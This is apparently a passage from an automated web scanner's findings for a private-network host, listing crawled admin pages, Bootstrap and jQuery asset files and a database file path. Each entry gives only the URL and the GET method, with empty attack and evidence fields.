URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.hu.
js
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.id.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.is.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ja.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.kr.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.lv.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.
ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.nb.
js

Method GET
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Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.nl.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.no.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.pt-
BR.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.pt.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ro.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.rs-
latin.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.rs.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ru.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sk.
js

Method GET
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Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sl.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sv.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sw.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.th.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.tr.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ua.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.uk.
js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.zh-
CN.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.zh-
TW.js
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Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/print_orders.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_admin_report.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_asset_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_archive.php

Method GET

Attack
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Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_monitoring.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_database.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/boots.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap-datetimepicker.min.css

Method GET

Attack

Evidence
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URL http://192.168.1.10:80//admin/assets/css/bootstrap-responsive.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap-theme.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap-theme.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap2.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/bootstrap2.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/docs.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/font-awesome.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/justified-nav.css
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ar.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ca.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.cs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.da.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.de.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ee.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.el.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.es.js

Method GET
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Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.hr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.is.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack
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Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.pt-BR.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.pt.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.rs-latin.js

Method GET

Attack

Evidence
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URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.zh-CN.js
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/locales/bootstrap-datetimepicker.zh-TW.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/offcanvas.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/css/style.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/img/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/application.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootsshoptgl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-affix.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-alert.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-button.js
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Attack
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URL http://192.168.1.10:80//admin/assets/js/bootstrap-carousel.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-collapse.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-dropdown.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-modal.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-popover.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-scrollspy.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-tab.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-tooltip.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-transition.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap-typeahead.js
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Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/google-code-prettify/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/google-code-prettify/prettify.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/jquery.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//admin/assets/style.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//affix.php

Method GET

Attack
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URL http://192.168.1.10:80//assets/

Method GET
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URL http://192.168.1.10:80//assets/bootstrap.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/css/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/css/bootstrap-theme.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/css/bootstrap-theme.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/css/bootstrap-theme.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/css/bootstrap.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/css/bootstrap.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/css/bootstrap.min.css
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.eot

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.svg

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.ttf

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.woff

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/fonts/glyphicons-halflings-regular.woff2

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/bootstrap/js/npm.js
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Attack
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URL http://192.168.1.10:80//assets/css/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/css/bootstrap-responsive.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/css/bootstrap-theme.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/css/bootstrap.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/css/carousel.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/css/docs.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/css/docs.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/css/font-awesome.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/img/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/jquery.min.js

Method GET

Attack
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Evidence

URL http://192.168.1.10:80//assets/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/application.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootsshoptgl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-affix.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-alert.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-button.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-carousel.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-collapse.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-dropdown.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-modal.js

Method GET

Attack
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URL http://192.168.1.10:80//assets/js/bootstrap-popover.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-scrollspy.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-tab.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-tooltip.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-transition.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/docs.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/google-code-prettify/

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/google-code-prettify/prettify.css
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Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/ie-emulation-modes-warning.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/ie10-viewport-bug-workaround.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/jquery.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80//assets/js/scg.js

Method GET

Attack
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URL http://192.168.1.10:80//assets/offcanvas.css
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Attack
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URL http://192.168.1.10:80//docs.min.js

Method GET
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URL http://192.168.1.10:80//forgotpass.php

Method GET
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Evidence

URL http://192.168.1.10:80//img/
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Method GET
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Method GET
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URL http://192.168.1.10:80//product_details.php

Method GET
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URL http://192.168.1.10:80//register.php

Method GET

Attack
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URL http://192.168.1.10:80/admin/assets/

Method GET

Attack
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URL http://192.168.1.10:80/admin/include/

Method GET

Attack
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URL http://192.168.1.10:80/assets//bootstrap.min.css
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Evidence

URL http://192.168.1.10:80/assets//bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets//css/bootstrap-responsive.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets//css/bootstrap.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets//css/docs.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets//jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets//style.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/bootstrap/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/css/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/img/

Method GET

Attack
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URL http://192.168.1.10:80/assets/js/
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URL http://192.168.1.10:80/assets/js//application.js

Method GET

Attack
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URL http://192.168.1.10:80/assets/js//bootsshoptgl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-affix.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-alert.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-button.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-carousel.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-collapse.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-dropdown.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-modal.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-popover.js
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URL http://192.168.1.10:80/assets/js//bootstrap-scrollspy.js

Method GET

Attack
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URL http://192.168.1.10:80/assets/js//bootstrap-tab.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-tooltip.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-transition.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap-typeahead.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//docs.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//google-code-prettify/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//ie-emulation-modes-warning.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//ie10-viewport-bug-workaround.js
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Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//jquery.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//jquery.lightbox-0.5.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//jquery.ui.custom.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js//scg.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js/google-code-prettify//prettify.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/js/google-code-prettify//prettify.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/css/
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Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/css/bootstrap-responsive.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/css/bootstrap.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/css/bootstrap.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/css/docs.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/application.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootsshoptgl.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-affix.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-alert.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-button.js

Method GET

Attack
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Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-carousel.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-collapse.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-dropdown.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-modal.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-popover.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-scrollspy.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-tab.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-tooltip.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-transition.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap-typeahead.js
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URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/prettify.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/carousel.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/cover.css
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Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/boots.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/bootstrap-theme.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/bootstrap-theme.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/bootstrap-theme.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/bootstrap.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/bootstrap.css.map

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/bootstrap.min.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/bootstrap2.css

Method GET

Attack
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URL http://192.168.1.10:80/bootstrap/css/font-awesome.css
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Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/justified-nav.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/css/style.css

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/fonts/

Method GET
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Evidence

URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.eot

Method GET

Attack
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URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.svg

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.ttf

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/fonts/glyphicons-halflings-regular.woff

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/application.js

Method GET

Attack
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URL http://192.168.1.10:80/bootstrap/js/bootstrap.js
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Evidence

URL http://192.168.1.10:80/bootstrap/js/bootstrap.min.js

Method GET

Attack
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URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/customizer.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/docs.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/ie8-responsive-file-warning.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/raw-files.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/vendor/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/vendor/blob.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/vendor/filesaver.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/vendor/holder.js

Method GET
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URL http://192.168.1.10:80/bootstrap/js/vendor/jszip.min.js

Method GET

Attack
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URL http://192.168.1.10:80/bootstrap/js/vendor/less.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10:80/bootstrap/js/vendor/uglify.min.js

Method GET

Attack
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URL http://192.168.1.10:80/bootstrap/style.css

Method GET
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URL http://192.168.1.10:80/bootstrap/theme.css

Method GET

Attack
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URL http://192.168.1.10:80/cgi-bin/test-cgi/

Method GET

Attack
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URL http://192.168.1.10:80/database/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/database//aa2000.sql

Method GET

Attack

Evidence

URL http://192.168.1.10:80/icons/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/icons/small/

